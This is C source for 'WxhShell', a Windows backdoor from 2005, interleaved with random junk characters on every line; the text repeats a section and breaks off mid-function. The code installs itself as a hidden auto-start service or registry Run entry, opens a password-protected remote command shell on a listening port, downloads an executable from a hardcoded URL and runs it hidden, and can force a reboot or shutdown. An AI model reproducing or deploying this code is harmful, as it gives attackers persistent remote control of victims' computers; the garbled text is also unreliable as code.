DWORD ExitStatus; b9`i Z
DWORD PebBaseAddress; Jth=.9mrM
DWORD AffinityMask; `(3SfQ-
DWORD BasePriority; ooY\t +
ULONG UniqueProcessId; =PV/`I_h
ULONG InheritedFromUniqueProcessId; wcwQj Hwd
} PROCESS_BASIC_INFORMATION; e]>/H8
e$HQuA~Q;
PROCNTQSIP NtQueryInformationProcess; kQy&I3
CF\R<rF<VS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :"V ujvFX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D@#0 dDT
XjxPIdX_H
HANDLE hProcess; uWh|C9Y!A
PROCESS_BASIC_INFORMATION pbi; n"iNKR>nW
CldDr<k3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mxo6fn6-46
if(NULL == hInst ) return 0; h!v/s=8c
*
flW L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r?\|f:M3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )AJ=an||5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wEE2a56L-
6p#g0t
if (!NtQueryInformationProcess) return 0; EA6t36|TX
+GYS26
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W+.{4K
if(!hProcess) return 0; inZi3@h)T
wDMjk2YN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V`[P4k+b
Nl
{7
CloseHandle(hProcess); V'j@K!)~xR
9_GokU P_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yQ'eu;+]
if(hProcess==NULL) return 0; ;@9e\!%
G)8ChnJa!m
HMODULE hMod; qJ
95
char procName[255]; BMpF02Y|4
unsigned long cbNeeded; .A(i=!{q
|:N>8%@6c
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ocwE_dR{
9s(i`RTM
CloseHandle(hProcess); [A]Ca$':
JD ]OIh
if(strstr(procName,"services")) return 1; // 以服务启动 1Fs-0)s8
i|S:s
return 0; // 注册表启动 }a ^|L"
} &L%Jy #=
PyFj@n
// 主模块 'PpZ/ry$
int StartWxhshell(LPSTR lpCmdLine) L%XXf3;c
{ 'y.JcS!|
SOCKET wsl; ab@=cL~^
BOOL val=TRUE; {OCJ(^8i
int port=0; qU -!7=}7
struct sockaddr_in door; nVXg,Jl
:Jk33 N4y0
if(wscfg.ws_autoins) Install(); 7TpRCq#
3{e'YD~hP
port=atoi(lpCmdLine); g8l5.Mpx
@o&Ytd;i
if(port<=0) port=wscfg.ws_port; ?Wa<AFXQ
LWD#a~
WSADATA data; nv)))I\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w.uK?A>W,
hg8Be6G<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (ii(yz|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s/t11;
door.sin_family = AF_INET; `|EH[W&y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pw{"_g
door.sin_port = htons(port); 5ITq?%{M
^)0 9OV+hF
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5kn+
>{jh`
closesocket(wsl); |1Hc&
return 1; _B[WY
} :6D0j
!y. $J<
if(listen(wsl,2) == INVALID_SOCKET) { \I:.<2i
closesocket(wsl); J{tVa(.
return 1; qjAh6Q/E`
} *ik/p
Wxhshell(wsl); Xa,\EEmQ
WSACleanup(); Kam]Mn'
@5E,:)T*wR
return 0; ^N- 'xy
#\ #3r
} 7"cv|6y|
3D_"yZ
// 以NT服务方式启动 ){ gAj
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M{E{N K
{ NXI[q'y
DWORD status = 0; hcyO97@r
DWORD specificError = 0xfffffff; ,E}$[mHyjz
[l*;E
f,
serviceStatus.dwServiceType = SERVICE_WIN32; mU@xcN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >DP:GcTG
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3=-
})X;
serviceStatus.dwWin32ExitCode = 0; !re1EL
serviceStatus.dwServiceSpecificExitCode = 0; `!i-#~n
serviceStatus.dwCheckPoint = 0; [/$N!2'5
serviceStatus.dwWaitHint = 0;
RJ}#)cT
X;!~<~@Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bfdVED
if (hServiceStatusHandle==0) return; p/*"4-S
_a5(s2wq+
status = GetLastError(); ,2,5Odrz
if (status!=NO_ERROR) x=*L-
{ aWGon]2p
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^npJUa
serviceStatus.dwCheckPoint = 0; }C,O
serviceStatus.dwWaitHint = 0; ;Z9IZ~
serviceStatus.dwWin32ExitCode = status; Uu'dv#4Iw
serviceStatus.dwServiceSpecificExitCode = specificError; mQr0sI,o]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8\#
^k#X
return; #SnvV
} Uf$i3
Hg+
F^2<y
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2f,2rW^i
serviceStatus.dwCheckPoint = 0; %Q~CB7ILK
serviceStatus.dwWaitHint = 0; Vz"u>BP3~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K)N 0,Qwu
} |[1D$Qv
@cv{rr
// 处理NT服务事件,比如:启动、停止 T)SbHp Y
VOID WINAPI NTServiceHandler(DWORD fdwControl) H?Jm'\~
{ Oy_c
switch(fdwControl) j@| `f((4
{ Eju~}:Lo
case SERVICE_CONTROL_STOP: [BDGR
B7d"
serviceStatus.dwWin32ExitCode = 0; M_|> kp
serviceStatus.dwCurrentState = SERVICE_STOPPED; !w2gGy:I>
serviceStatus.dwCheckPoint = 0; 6+`tn
serviceStatus.dwWaitHint = 0; Yc;ec9~
{ n7l%gA*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >]?H`>4(
} e;ty !)]
return; >EP(~G3u
case SERVICE_CONTROL_PAUSE:
4["&O=:d
serviceStatus.dwCurrentState = SERVICE_PAUSED; -JV~[-,
break; (
u`W!{1\
case SERVICE_CONTROL_CONTINUE: HOZRYIQB
serviceStatus.dwCurrentState = SERVICE_RUNNING; !'0S0a8
break; >NM\TLET~
case SERVICE_CONTROL_INTERROGATE: s9j7Psd
break; PDP[5q r
}; qp~gP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >/^#Drwb!i
} UtJ a3ya
`78V%\
// 标准应用程序主函数 S$[k Q|Am
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0rE(p2
{ NlF}{
kWW w<cA
// 获取操作系统版本 F
L=,YP
OsIsNt=GetOsVer(); 6`\ya@
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]RIVc3?;$
I%lE;'x
// 从命令行安装 [j9E pi(
if(strpbrk(lpCmdLine,"iI")) Install(); 0KvVw rWJ
s;1h-Oq(
// 下载执行文件 :&w{\-0{
if(wscfg.ws_downexe) { jbte
*Ae
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n$["z
w
WinExec(wscfg.ws_filenam,SW_HIDE); +j[oE I`e
} Z|*!y]We
$_X|,v9
if(!OsIsNt) { 23ze/;6%A
// 如果时win9x,隐藏进程并且设置为注册表启动 f3tv3>p
HideProc(); ]axh*J3`i
StartWxhshell(lpCmdLine); *xs!5|n+
} kB
P*K
else <J{'o`{
if(StartFromService()) I+;-p]~
// 以服务方式启动 L%cVykWY"
StartServiceCtrlDispatcher(DispatchTable); f CcD&<%
else aT!;{+
// 普通方式启动 hOk00az
StartWxhshell(lpCmdLine); ,mFsM!|
csQfic
return 0; yR71%]*.
} y,Q5;$w8
AuiFbRFi
K%j&/T j1
vO@s$qi
=========================================== -kj< 1~YW
b~0N^p[&%
r)T[(D'Tm-
{}Ejt:rKN
t?)pl2!A
[=%YV# O
" C>QIrZu
Oejq@iM"(
#include <stdio.h> , c;eN
#include <string.h> \nvAa_,
#include <windows.h> :@3Wg3N
#include <winsock2.h> b1`r!B,
#include <winsvc.h> Rf"Mr: ^
#include <urlmon.h> 0GXO&rCG
q6q1\YB
#pragma comment (lib, "Ws2_32.lib") Y)I8eU{Wl(
#pragma comment (lib, "urlmon.lib") KeBQH8A1N
q/&y*)&'O
#define MAX_USER 100 // 最大客户端连接数 8im@4A+n`
#define BUF_SOCK 200 // sock buffer /VTM 9)u
#define KEY_BUFF 255 // 输入 buffer USPTpjt8R
ANMg
#define REBOOT 0 // 重启 ~H /2R
#define SHUTDOWN 1 // 关机 \h{r;#g
|M~ON=
#define DEF_PORT 5000 // 监听端口 %y`7);.q
yy2I2Bv
#define REG_LEN 16 // 注册表键长度 LMl~yqM
#define SVC_LEN 80 // NT服务名长度 =y]$0nh
&%C4Ugo
// 从dll定义API z; }6f
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Dsm~bkX[
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n(;:*<Rh
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mY&ud>,U:
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -uR72f
N2,D:m\
// wxhshell配置信息 xFFr
struct WSCFG { mZvG|P$}
int ws_port; // 监听端口 TH1B#Y#<J
char ws_passstr[REG_LEN]; // 口令 {rH9grb
int ws_autoins; // 安装标记, 1=yes 0=no GG6%bF
char ws_regname[REG_LEN]; // 注册表键名 edC4BHE
char ws_svcname[REG_LEN]; // 服务名 kODK@w V-
char ws_svcdisp[SVC_LEN]; // 服务显示名 +8P,s[0<R_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 w
YNloU
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5,KWprb
int ws_downexe; // 下载执行标记, 1=yes 0=no h
y-cG%f
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~,gXaw
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1yqoA*
;3ft1
}; /CX VLl8~
SW?p?<
// default Wxhshell configuration E
l&h;N
struct WSCFG wscfg={DEF_PORT, P`SnavQBt
"xuhuanlingzhe", 9s$U%F6}
1, &eZfQ27$
"Wxhshell", 1cJsj
"Wxhshell", o|8`>!hF
"WxhShell Service", 8g/F)~s^F
"Wrsky Windows CmdShell Service", V64L,u#`l
"Please Input Your Password: ", Zm TDQ`Ix
1, ^y_fRP~
"http://www.wrsky.com/wxhshell.exe", `sHuM*
"Wxhshell.exe" m6n!rRQ^U
}; 6j9)/ HP
&*,:1=p
// 消息定义模块 QB{rVI>mI!
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x^= M6;:
char *msg_ws_prompt="\n\r? for help\n\r#>"; &<x@1,
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ukphd$3J=
char *msg_ws_ext="\n\rExit."; qN|
fEO>
char *msg_ws_end="\n\rQuit."; VHUW]8We
char *msg_ws_boot="\n\rReboot..."; 30cd|
S?
char *msg_ws_poff="\n\rShutdown..."; &XLD S=j
char *msg_ws_down="\n\rSave to "; ?w&SW{ I
wsfd8T4
char *msg_ws_err="\n\rErr!"; \}]iS C.2
char *msg_ws_ok="\n\rOK!"; |QZ58)>
qv{o|g
QB
char ExeFile[MAX_PATH]; zsl,,gk9Y
int nUser = 0; aw $L$7b}
HANDLE handles[MAX_USER]; %:C ]7gQ
int OsIsNt; rXi uwz\
TCVl8)j
SERVICE_STATUS serviceStatus; E@)\Lc~
SERVICE_STATUS_HANDLE hServiceStatusHandle; C*70;:b
KpiF0K
// 函数声明 9h,u6e
int Install(void); >`T5]_a
int Uninstall(void); ]> !<G8=N
int DownloadFile(char *sURL, SOCKET wsh); h1"zV6U
int Boot(int flag); J{"kw1Lu
void HideProc(void); )h$NS2B`
int GetOsVer(void); Vd9@Dy
int Wxhshell(SOCKET wsl); (&\aA 0-}H
void TalkWithClient(void *cs); ;e8V
+h
int CmdShell(SOCKET sock); ik,lSTBD
int StartFromService(void); in%;Eqk
int StartWxhshell(LPSTR lpCmdLine); ]gb=
S[:xqzyDg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); irBDGT~
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ze^jG-SL$9
q }C+tn"\
// 数据结构和表定义 GR4?BuY,
SERVICE_TABLE_ENTRY DispatchTable[] = H^%.=kf
{ |FR3w0o
{wscfg.ws_svcname, NTServiceMain}, Ju` [m
{NULL, NULL} kAzd8nJ'
}; } /^C|iS7
q" @
// 自我安装 `cB_.&
int Install(void) 748CD{KxW
{ V,7%1TZ:
char svExeFile[MAX_PATH]; mz7l'4']+
HKEY key; wwd'0P`/
strcpy(svExeFile,ExeFile); 2h^WYpCm
4N?v
// 如果是win9x系统,修改注册表设为自启动 I?!rOU=0
if(!OsIsNt) { - 0HkT Y
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5ua?I9fY
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,5k-.Md>2*
RegCloseKey(key); I0= NaZ7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [\ )Ge
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ffDc6*.Q
RegCloseKey(key); mXWTm%'[
return 0; < a rZbM
} &x:JD1T}
} ztM<J+
}
:S
%lv
else { @!tVr3;N$
9L eNe}9v
// 如果是NT以上系统,安装为系统服务 v[k5.\No
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \&xl{64
if (schSCManager!=0) PFSLyV*
{ W=}Okq)x9I
SC_HANDLE schService = CreateService yWIm&Q:
( Xo5$X7m
schSCManager, |?m` xO
wscfg.ws_svcname, %oykcf,#
wscfg.ws_svcdisp, YhKZ|@
SERVICE_ALL_ACCESS, WV<tyx9Z
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Eh8Pwt7C@
SERVICE_AUTO_START, zi]%Zp
SERVICE_ERROR_NORMAL, jh ez
svExeFile, .q`{Dgc~
NULL, #G^A-yjn
NULL, +54aO
NULL, Tt# bg1
NULL, ;I6s-moq_
NULL t@zdmy
); H.
,;-
if (schService!=0) B uQ|~V
{ ?^!,vh
CloseServiceHandle(schService); yOXO)u1n
CloseServiceHandle(schSCManager); Q'NmSX)0
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9>*c_
strcat(svExeFile,wscfg.ws_svcname); C*Vd -U
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l)8&Ip
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <+`(\
RegCloseKey(key); ,i}|5ozj4
return 0; F}?<v8#z0
} x4?10f(9=
} o3Ot.9L
CloseServiceHandle(schSCManager); }U5Y=RYo
} N_wp{4 0/
} ks(SjEF
@|-OJ4[5
return 1; Qc-(*}
} ;6;H*Y0,|E
8^ep/ b&|
// 自我卸载 lvSdY(8
int Uninstall(void) *MM#Z?mP
{ :>
-1'HC
HKEY key; nL`9l1
I`B'1"{
if(!OsIsNt) { iDb;_?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eb:A1f4L
RegDeleteValue(key,wscfg.ws_regname); <>&=n+i
RegCloseKey(key); {eZ{]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L&2u[ml
RegDeleteValue(key,wscfg.ws_regname); fjz) Gp
RegCloseKey(key); <lwuTow
return 0; %IZ)3x3l
} %uDG75KP{
} Gm8E<iTP
} pK_?}~
else { TR vZ
cgZaPw2
bw
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D@54QJ<
if (schSCManager!=0) 'Z!Ga.I
{ iw]k5<qKj
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f[~1<;|-
if (schService!=0) ~5aE2w0K
{ lJ
if(DeleteService(schService)!=0) { HOW7cV'X
CloseServiceHandle(schService); o
\L!(hm
CloseServiceHandle(schSCManager); b[^{)$(
return 0; 6vs3O
} Utl
t<
CloseServiceHandle(schService); loOOmHhJ&
} P_4DGW
CloseServiceHandle(schSCManager); Lubrn"128
} 19u =W(
} UPh=+s #Q
4iX-( ir,
return 1; +++pI.>(*Q
} 649 !=
7k8n@39?
// 从指定url下载文件 Di(9]:+
int DownloadFile(char *sURL, SOCKET wsh) :b#%C
pR
{ Cnh|D^{s
HRESULT hr; ,Qc.;4s-
char seps[]= "/"; 7XAvd-
char *token; /XpSe<3
char *file; d,#.E@Po
char myURL[MAX_PATH]; [~%`N*G
char myFILE[MAX_PATH]; &w\I<J`T
yXfMzG
strcpy(myURL,sURL);
P'[<AZ
token=strtok(myURL,seps); KX+ey8@[
while(token!=NULL) H#(<-)j0_
{ "ED8z|]j
file=token; D guB
token=strtok(NULL,seps); !q/5yEJ>h
}
M[P^]J@
T 1Cs>#)
GetCurrentDirectory(MAX_PATH,myFILE); M}FWBs'*|
strcat(myFILE, "\\"); 05e>\}{0
strcat(myFILE, file); Wr%7~y*K
send(wsh,myFILE,strlen(myFILE),0); F+aQ $pQ
send(wsh,"...",3,0); :F(9"L
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LJuW${Y
if(hr==S_OK) I0w%8bs
return 0; Gp2!xKgm
else lgD]{\O$ip
return 1; &d^=siL
%$X\"
} Xa,&ef&q
Ol+Kp!ocY
// 系统电源模块 @)0 Y~A )
int Boot(int flag) %v=!'?VT
{ #+jUhxq
HANDLE hToken; zJl_ t0
TOKEN_PRIVILEGES tkp; ,x#ztdvr
o:\XRPB
if(OsIsNt) { x-Z^Q C
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9D_wG\g
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /tKGwX]y
tkp.PrivilegeCount = 1; _/x&<,3
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9M2f!kJP$
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v*TeTA
%
if(flag==REBOOT) { G}Z4g
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K8Zt:yP
return 0; 3N%{B
}
tbG8MXX
else { U ":"geU
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :YvbU Y
return 0; I,P!@
} &YX6"S_B
} zixEMi[8
else { f%Ke8'&
if(flag==REBOOT) { UxqWnHH.`
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q1V2pP+=@
return 0; 5si}i'in
} 7'.s7&
'7
else { %C*^:\y
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qei$<j'b
return 0; uBeNXOre
} > V%Q O>C
} h6QWH
Vyt
E
return 1; ]P3[.$z
} P\(30
LknVqZ|k
// win9x进程隐藏模块 iZ Ta>@
void HideProc(void) yYX :huw
{ <